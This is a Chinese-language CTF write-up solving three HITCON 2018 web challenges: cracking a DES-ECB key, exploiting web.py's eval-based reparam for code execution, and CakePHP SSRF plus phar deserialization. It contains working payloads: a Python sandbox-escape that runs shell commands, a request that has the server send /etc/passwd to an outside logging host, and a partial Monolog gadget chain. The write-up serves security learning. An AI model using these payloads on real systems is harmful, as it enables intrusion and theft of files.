题目一开始直接告诉我们 flag 的格式:
Flag is hitcon{ENCRYPTION_KEY}
再结合题目所给的 提示:assert ENCRYPTION_KEY.islower()
,我们可以明白本题的考点:猜测本题使用的加密算法,并破解其使用的密钥。
继续来看题目,可以看到题目中的所有链接均不是直接指向网站自身的 URL,而是向服务器进行请求:
<a href="?s=8c762b8f22036dbbdda56facf732ffa71c3a372e4530241246449a55e25888cf98164f49a25f54a84ea0640e3adaf107cc67c8f2e688e8adf18895d89bfae58e33ae2e67609b509afb0e52f2f8b2145e">50 million Facebook accounts owned</a>
但当我们访问 http://13.115.255.46/?s=8c762b8f22036dbbdda56facf732ffa71c3a372e4530241246449a55e25888cf98164f49a25f54a84ea0640e3adaf107cc67c8f2e688e8adf18895d89bfae58e33ae2e67609b509afb0e52f2f8b2145e 时,浏览器却访问了 https://newsroom.fb.com/news/2018/09/security-update/ 所以在这里必然存在着服务器上的一个处理操作。
通过查看 burp 拦截的 Response,可以看到服务器实际上返回的是一个 303 See Other
,再由浏览器跳转到指定的 URL。
HTTP/1.1 303 See Other
Date: Mon, 22 Oct 2018 07:24:06 GMT
Server: localhost
Content-Type: text/html
Location: https://newsroom.fb.com/news/2018/09/security-update/
Connection: close
Content-Length: 0
那么我们可以这样假设,8c762b8f22036dbbdda56facf732ffa71c3a372e4530241246449a55e25888cf98164f49a25f54a84ea0640e3adaf107cc67c8f2e688e8adf18895d89bfae58e33ae2e67609b509afb0e52f2f8b2145e
实际上是对应网页的数据在某种加密过后得到的十六进制字符串,我们可以通过二者之间的明密文关系来推测使用的加密算法和密钥。
继续来看,我们可以发现修改请求参数中的部分字节(前 48 个字节之后)不影响我们得到的结果,比如访问 http://13.115.255.46/?s=a2be4d31c8cbf83fc7be364caf7dae82b50a6fb6362320e888208fded4e2d881716d81db5701860df8c8c72896dc5bc30000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074a3bfe5 ,同样能获得正确的结果。
Date →Mon, 22 Oct 2018 07:33:53 GMT
Server →localhost
Content-Type →text/html
Location →https://medium.com/@Wflki/sql-injection-oracle-and-full-width-characters-13bb86fc034a
Keep-Alive →timeout=5, max=100
Connection →Keep-Alive
Transfer-Encoding →chunked
所以可以猜测,明文的前半部分应该是每个网页所对应的 id,服务器会根据 id 返回对应的网址,所以该部分的修改会影响结果的显示,而后半部分的结果不影响结果的显示,则可能对应网页的 title,因为我们注意到 title 长度不同的网页对应的密文长度也不同,而且二者成正相关。
我们继续观察 title 和密文的关系,可以观察到存在着相同字符子串的 title 中的密文中也存在部分相同的子串,如
<a href="?s=4b596c43212b27b7c948390491293dd24f6f5f3b635ddb984c1c23f162d392ccf900061d8b6338771d8feb029243ed633882b1034e8789849136472bd93ffe2dfd8017786de53c1785a67bbbcecad1c78b096aa66c3ff957aaa3bb913d35c75f">Bypassing Web Cache Poisoning Countermeasures</a>
和
<a href="?s=b0b7a350f4a4f27848b204d056b25fb0f785e6357390b3bc73bbbbffc6bf5071b47143690fe718f21d8feb029243ed633882b1034e878984233b2d964a4138bbfe4bcb8834342001d2446e0f6d464355833f3b6c39beee1bfd5d3bce98966870">Bypassing WAFs and cracking XOR with Hackvertor</a>
title 存在着相同的子字符串 Bypassing W
,而密文则存在着相同的子字符串 1d8feb029243ed633882b1034e878984
,结合上文的猜测,可以看出 assing W
与 3882b1034e878984
对应。
可以注意到密文块很明显的以 8 bytes 为一组,且各组间相互独立,后续块的加密不受前面块的影响
所以结合以上的分析,可以有以下两个推测:
所以我们能得到对应明密文对 3882b1034e878984:617373696e672b57
(题目使用了 + 代替空格,被坑了很久。。另外感谢评论区的师傅帮我纠正了这里的一个错误 orz)
为了加深理解,我们可以看上面这张对比图,可以看到,第一条的左右两个字符串,共同的子字符串为 Bypassing W
,加密后的文本存在两个 8 字节的共同子串;第三条左右两个字符串共同字串为 Bypassing
,对应处的共同子字符串仅为 1 个,所以很明显 W 是对应块的最后一个字母,然后可以从 W 开始倒着读 8 个字符,所以得到 assing W
。
看了大佬们的解答,发现他们用的是另一个明密文对:3ca92540eb2d0a42:0808080808080808
,即 DES padding 的字符和对应的密文。
然后我们可以写脚本进行爆破,由于脚本写的太慢就不往上贴了-_-^ 10min 单线程完全爆不动
后来看了 orange 大佬的解答才知道可以使用 hashcat 爆破,速度快多了(哭泣
.\hashcat64.exe -m 14000 42aa7c80bae5f78f:6e6a656374696f6e -a 3 '?l?l?l?l?l?l?l?l' --show
42aa7c80bae5f78f:6e6a656374696f6e:ldgonaro
直接提交发现 flag 错误,这是因为由于 DES 只使用了 64 bits 中的 56 bits 做校验,所以实际上每个字符存在着另一个等效的字符,由等效字符替换后的密钥依旧是有效的。所以我们可以爆破所有可能的 key 并提交(当然太粗暴了)。另一个思路是根据题目的提示 P.S. If you fail in submitting the flag and want to argue with author, read the source first!
去获得题目的源代码。
我们观察到题目中实际上应该存在着三种链接,如
06e77f2958b65ffd3ca92540eb2d0a42
,解密后的明文是 m=p&l=100
59154ed9ef5129d081160c5f9882f57dcfd76f05f6ac8f1a38114a30fb1839a27fea88c412d9e1149dedcb1c01c0a6662a36d91fd8751e52ba939a65efbe150f9504247abb9fe6be24d3d4dcfda82306
,解密后的明文是 u=f90b0983-23fc-42ae-a333-019b6593da75&m=r&t=An+Innovative+Phishing+Style
2e7e305f2da018a2cf8208fa1fefc238522c932a276554e5f8085ba33f9600b301c3c95652a912b0342653ddcdc4703e5975bd2ff6cc8a133ca92540eb2d0a42
,解密后的明文是 m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf
很明显第三种链接能让我们下载对应的文件,因此我们构造 m=d&f=app.py
对应的密文 e2272b36277c708bc21066647bc214b8
,成功获得源代码:
# coding: UTF-8
import os
import web
import urllib
import urlparse
from Crypto.Cipher import DES
web.config.debug = False
ENCRPYTION_KEY = 'megnnaro'
urls = (
'/', 'index'
)
app = web.application(urls, globals())
db = web.database(dbn='sqlite', db='db.db')
def encrypt(s):
length = DES.block_size - (len(s) % DES.block_size)
s = s + chr(length)*length
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
return cipher.encrypt(s).encode('hex')
def decrypt(s):
try:
data = s.decode('hex')
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
data = cipher.decrypt(data)
data = data[:-ord(data[-1])]
return dict(urlparse.parse_qsl(data))
except Exception as e:
print e.message
return {}
def get_posts(limit=None):
records = []
for i in db.select('posts', limit=limit, order='ups desc'):
tmp = {
'm': 'r',
't': i.title.encode('utf-8', 'ignore'),
'u': i.id,
}
tmp['param'] = encrypt(urllib.urlencode(tmp))
tmp['ups'] = i.ups
if i.file:
tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))
else:
tmp['file'] = ''
records.append( tmp )
return records
def get_urls():
urls = []
for i in [10, 100, 1000]:
data = {
'm': 'p',
'l': i
}
urls.append( encrypt(urllib.urlencode(data)) )
return urls
class index:
def GET(self):
s = web.input().get('s')
if not s:
return web.template.frender('templates/index.html')(get_posts(), get_urls())
else:
s = decrypt(s)
method = s.get('m', '')
if method and method not in list('rdp'):
return 'param error'
if method == 'r':
uid = s.get('u')
record = db.select('posts', where='id=$id', vars={'id': uid}).first()
if record:
raise web.seeother(record.url)
else:
return 'not found'
elif method == 'd':
file = s.get('f')
if not os.path.exists(file):
return 'not found'
name = os.path.basename(file)
web.header('Content-Disposition', 'attachment; filename=%s' % name)
web.header('Content-Type', 'application/pdf')
with open(file, 'rb') as fp:
data = fp.read()
return data
elif method == 'p':
limit = s.get('l')
return web.template.frender('templates/index.html')(get_posts(limit), get_urls())
else:
return web.template.frender('templates/index.html')(get_posts(), get_urls())
if __name__ == "__main__":
app.run()
所以 flag 为 hitcon{megnnaro}
首先看第二题的提示 Give me SHELL!!!
,很明显考点是 getshell,所以第一步是代码审计。
可以看到使用的是 web.py 框架,然后根据获得的 requirements.txt 可以得到版本为 0.38。
然后再看代码,题目只处理 GET 请求,然后根据 ?s=
后跟的参数的不同,有三种不同的处理方式:
r
: 根据网页的 id 获得 url 并构造 303 响应d
:根据文件名读取文件p
:根据参数获得渲染首页第一步想到的思路是直接构造 {'m':'d','f':'/flag'}
来阅读 flag 文件,发现被禁止了(毕竟本题考点是 getshell),那么下一步还是需要思考如何 getshell。
可以搜到相应的文章:Remote Code Execution in Web.py framework(ps:其实比赛的时候根本没搜到,看了 orange 的说明才找到的,还是太菜了
问题出在 web.py 的 db 部分,可能让用户注入代码,存在问题的代码如下:
def reparam(string_, dictionary):
"""
Takes a string and a dictionary and interpolates the string
using values from the dictionary. Returns an `SQLQuery` for the result.
>>> reparam("s = $s", dict(s=True))
<sql: "s = 't'">
>>> reparam("s IN $s", dict(s=[1, 2]))
<sql: 's IN (1, 2)'>
"""
dictionary = dictionary.copy() # eval mucks with it
vals = []
result = []
for live, chunk in _interpolate(string_):
if live:
v = eval(chunk, dictionary)
result.append(sqlquote(v))
else:
result.append(chunk)
return SQLQuery.join(result, '')
这个 eval
函数真的时非常明显了……根据作者描述:The entry points to reparam() are functions _where(), query(), and gen_clause()
,那么对应到本题中的则是 get_posts
函数中的 db.select
操作,尝试构造:{'m':'p','l':'$__import__("os").system("ls > /tmp/ls.txt")'}
,发现显示 invalid。
那么继续看文章,发现在该版本已经修复了这种写法,然后用文章中提到的新的方式成功绕过并执行代码:
{'m':'p','l':'${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=="catch_warnings"][0]()._module.__builtins__):getthem["__import__"]("os").system("ls -al / > /tmp/1.txt"))()}'}
这里需要注意的由于我们不能直接看到回显,所以需要把需要显示的数据写到文件中,通过构造 {'m':'d','f':'/tmp/1.txt'}
来下载我们写入的文件。
total 104
drwxr-xr-x 23 root root 4096 Oct 16 08:18 .
drwxr-xr-x 23 root root 4096 Oct 16 08:18 ..
drwxr-xr-x 2 root root 4096 Sep 12 15:59 bin
drwxr-xr-x 3 root root 4096 Oct 10 06:46 boot
drwxr-xr-x 15 root root 2980 Oct 8 18:13 dev
drwxr-xr-x 91 root root 4096 Oct 11 16:05 etc
-r-------- 1 root root 47 Oct 16 08:15 flag
drwxr-xr-x 4 root root 4096 Oct 11 16:02 home
lrwxrwxrwx 1 root root 31 Oct 10 06:46 initrd.img -> boot/initrd.img-4.15.0-1023-aws
lrwxrwxrwx 1 root root 31 Sep 12 16:16 initrd.img.old -> boot/initrd.img-4.15.0-1021-aws
drwxr-xr-x 20 root root 4096 Oct 11 15:27 lib
drwxr-xr-x 2 root root 4096 Sep 12 15:56 lib64
drwx------ 2 root root 16384 Sep 12 16:10 lost+found
drwxr-xr-x 2 root root 4096 Sep 12 15:55 media
drwxr-xr-x 2 root root 4096 Sep 12 15:55 mnt
drwxr-xr-x 2 root root 4096 Sep 12 15:55 opt
dr-xr-xr-x 127 root root 0 Oct 8 18:13 proc
-rwsr-sr-x 1 root root 8568 Oct 16 08:18 read_flag
drwx------ 4 root root 4096 Oct 16 08:18 root
drwxr-xr-x 26 root root 1000 Oct 22 06:21 run
drwxr-xr-x 2 root root 4096 Oct 10 06:46 sbin
drwxr-xr-x 5 root root 4096 Oct 8 18:13 snap
drwxr-xr-x 2 root root 4096 Sep 12 15:55 srv
dr-xr-xr-x 13 root root 0 Oct 16 08:18 sys
drwxrwxrwt 12 root root 4096 Oct 22 09:33 tmp
drwxr-xr-x 10 root root 4096 Sep 12 15:55 usr
drwxr-xr-x 14 root root 4096 Oct 11 15:58 var
lrwxrwxrwx 1 root root 28 Oct 10 06:46 vmlinuz -> boot/vmlinuz-4.15.0-1023-aws
lrwxrwxrwx 1 root root 28 Sep 12 16:16 vmlinuz.old -> boot/vmlinuz-4.15.0-1021-aws
根据我们列出的根目录,很明显只要执行 read_flag
就能读到 flag,所以继续构造:
# exec
{'m':'p','l':'${(lambda getthem=([x for x in ().__class__.__base__.__subclasses__() if x.__name__=="catch_warnings"][0]()._module.__builtins__):getthem["__import__"]("os").system("/read_flag / > /tmp/1.txt"))()}'}
# read flag
{'m':'d','f':'/tmp/1.txt'}
即可获得 flag:hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}
赛后学习的一道题目,代码审计的能力还是太弱了(。_。)参考了 PDKT-Team 的 writeup,该解答讲的非常清晰,值得一看。
题目直接给了本题源码: http://13.230.134.135/webroot/baby_cake.tgz
访问题目所给的 demo 页面,可以看到和正常的页面相比,多了 <!-- from cache -->
,可以由此来定位源代码:src/ControllerPagesController.php
:
<?php
namespace App\Controller;
use Cake\Core\Configure;
use Cake\Http\Client;
use Cake\Http\Exception\ForbiddenException;
use Cake\Http\Exception\NotFoundException;
use Cake\View\Exception\MissingTemplateException;
class DymmyResponse {
function __construct($headers, $body) {
$this->headers = $headers;
$this->body = $body;
}
}
class PagesController extends AppController {
private function httpclient($method, $url, $headers, $data) {
$options = [
'headers' => $headers,
'timeout' => 10
];
$http = new Client();
return $http->$method($url, $data, $options);
}
private function back() {
return $this->render('pages');
}
private function _cache_dir($key){
$ip = $this->request->getEnv('REMOTE_ADDR');
$index = sprintf('mycache/%s/%s/', $ip, $key);
return CACHE . $index;
}
private function cache_set($key, $response) {
$cache_dir = $this->_cache_dir($key);
if ( !file_exists($cache_dir) ) {
mkdir($cache_dir, 0700, true);
file_put_contents($cache_dir . "body.cache", $response->body);
file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
}
}
private function cache_get($key) {
$cache_dir = $this->_cache_dir($key);
if (file_exists($cache_dir)) {
$body = file_get_contents($cache_dir . "/body.cache");
$headers = file_get_contents($cache_dir . "/headers.cache");
$body = "<!-- from cache -->\n" . $body;
$headers = unserialize($headers);
return new DymmyResponse($headers, $body);
} else {
return null;
}
}
public function display(...$path) {
$request = $this->request;
$data = $request->getQuery('data');
$url = $request->getQuery('url');
if (strlen($url) == 0)
return $this->back();
$scheme = strtolower( parse_url($url, PHP_URL_SCHEME) );
if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https']))
return $this->back();
$method = strtolower( $request->getMethod() );
if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) )
return $this->back();
$headers = [];
foreach ($request->getHeaders() as $key => $value) {
if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] ))
continue;
if (count($value) == 0)
continue;
$headers[$key] = $value[0];
}
$key = md5($url);
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}
foreach ($response->headers as $key => $value) {
if (strtolower($key) == 'content-type') {
$this->response->type(array('type' => $value));
$this->response->type('type');
continue;
}
$this->response->withHeader($key, $value);
}
$this->response->body($response->body);
return $this->response;
}
}
简单梳理题目的处理逻辑:
首先题目只支持 http
\ https
两种协议, 和 get
\ post
\ put
\ delete
\ patch
等五种方法。
继续看 display
函数,$data = $request->getQuery('data');
和 $url = $request->getQuery('url');
从 querystring 中获得了需要访问的 url,已经需要传递的 data。随后该函数会根据方法的不同尝试不同的调用:
if ($method == 'get') {
$response = $this->cache_get($key);
if (!$response) {
$response = $this->httpclient($method, $url, $headers, null);
$this->cache_set($key, $response);
}
} else {
$response = $this->httpclient($method, $url, $headers, $data);
}
如果调用的方法是 get
,函数先会尝试调用 $this->cache_get($key);
,可以看到我们在之前注意到的注释就是在这里添加的: $body = "<!-- from cache -->\n" . $body;
。该函数还有一个需要注意的点是一个反序列化的操作: unserialize($headers);
,一般反序列化的操作在 CTF 题目中都是相当重要的考点,本题也不例外,虽然考察的点不在此处。
然后如果 response
为空的话,说明缓存不存在,程序会调用自身的 http clinet 去请求相应内容 $this->httpclient($method, $url, $headers, null);
,然后将相应的 response 缓存 $this->cache_set($key, $response);
。这里需要注意的是,cache_set
函数中会将相应的 header 序列化保存 file_put_contents($cache_dir . "headers.cache", serialize($response->headers));
。
如果调用的方法是 post
等其他方法的话,程序会直接调用自身的 http clinet 去请求相应内容。
然后向下看 cakephp 中对应 http client 的源码 vendor/cakephp/cakephp/src/Http/Client.php
可以看到源码中对一个请求的调用顺序如下:
post($url, $data = [], array $options = [])
_doRequest($method, $url, $data, $options)
$this->_createRequest($method, $url, $data, $options);
构造 $request
对象然后继续定位到 vendor/cakephp/cakephp/src/Http/Client/Request.php
,可以看到构造函数会对我们传入的 data 做处理:
public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null)
{
$this->validateMethod($method);
$this->method = $method;
$this->uri = $this->createUri($url);
$headers += [
'Connection' => 'close',
'User-Agent' => 'CakePHP'
];
$this->addHeaders($headers);
$this->body($data);
}
...
public function body($body = null)
{
if ($body === null) {
$body = $this->getBody();
return $body ? $body->__toString() : '';
}
if (is_array($body)) {
$formData = new FormData();
$formData->addMany($body);
$this->header('Content-Type', $formData->contentType());
$body = (string)$formData;
}
$stream = new Stream('php://memory', 'rw');
$stream->write($body);
$this->stream = $stream;
return $this;
}
我们可以看到,如果我们传入的 data 是数组类型的话,会调用 vendor/cakephp/cakephp/src/Http/Client/FormData.php
中定义的 addMany
函数,addMany
会逐次调用 add
函数,问题就出在 add
处,我们继续看源码:
public function add($name, $value = null)
{
if (is_array($value)) {
$this->addRecursive($name, $value);
} elseif (is_resource($value)) {
$this->addFile($name, $value);
} elseif (is_string($value) && strlen($value) && $value[0] === '@') {
trigger_error(
'Using the @ syntax for file uploads is not safe and is deprecated. ' .
'Instead you should use file handles.',
E_USER_DEPRECATED
);
$this->addFile($name, $value);
} elseif ($name instanceof FormDataPart && $value === null) {
$this->_hasComplexPart = true;
$this->_parts[] = $name;
} else {
$this->_parts[] = $this->newPart($name, $value);
}
return $this;
}
可以看到如果开头第一个字符是 @
的话,cakephp 会调用 addFile
函数,而很明显 addFile
可以访问本地的文件:
public function addFile($name, $value)
{
$this->_hasFile = true;
$filename = false;
$contentType = 'application/octet-stream';
if (is_resource($value)) {
$content = stream_get_contents($value);
if (stream_is_local($value)) {
$finfo = new finfo(FILEINFO_MIME);
$metadata = stream_get_meta_data($value);
$contentType = $finfo->file($metadata['uri']);
$filename = basename($metadata['uri']);
}
} else {
$finfo = new finfo(FILEINFO_MIME);
$value = substr($value, 1);
$filename = basename($value);
$content = file_get_contents($value);
$contentType = $finfo->file($value);
}
$part = $this->newPart($name, $content);
$part->type($contentType);
if ($filename) {
$part->filename($filename);
}
$this->add($part);
return $part;
}
可以看到这里我们可以控制 file_get_contents
的参数,参数是我们传入的 ?data
所对应的值,所以这里存在着一个 SSRF,但最终考点不在这里。可起码我们确实可以控制 Server 去访问指定的 url,如:
POST http://13.230.134.135/?url=http://5ax2cw.ceye.io/&data[test]=@file:///etc/passwd
可以在 post data 处看到我们希望读取的文件:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
orange:x:1001:1001:,,,:/home/orange:/bin/bash
然后就是今年非常火的 phar://
协议的反序列化问题,我们可以通过该协议触发反序列化操作进而 getshell。大致思路如下:
/var/www/html/tmp/cache/mycache/CLIENT_IP/MD5(http://IP/xxz.phar)/body.cache
post
请求 phar://
协议的反序列化进而触发我们的 payload如何构造可以使用 https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/1/gadgets.php 进行构造,这里贴上 PDKT-Team 所使用的 payload:
<?php
namespace Monolog\Handler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $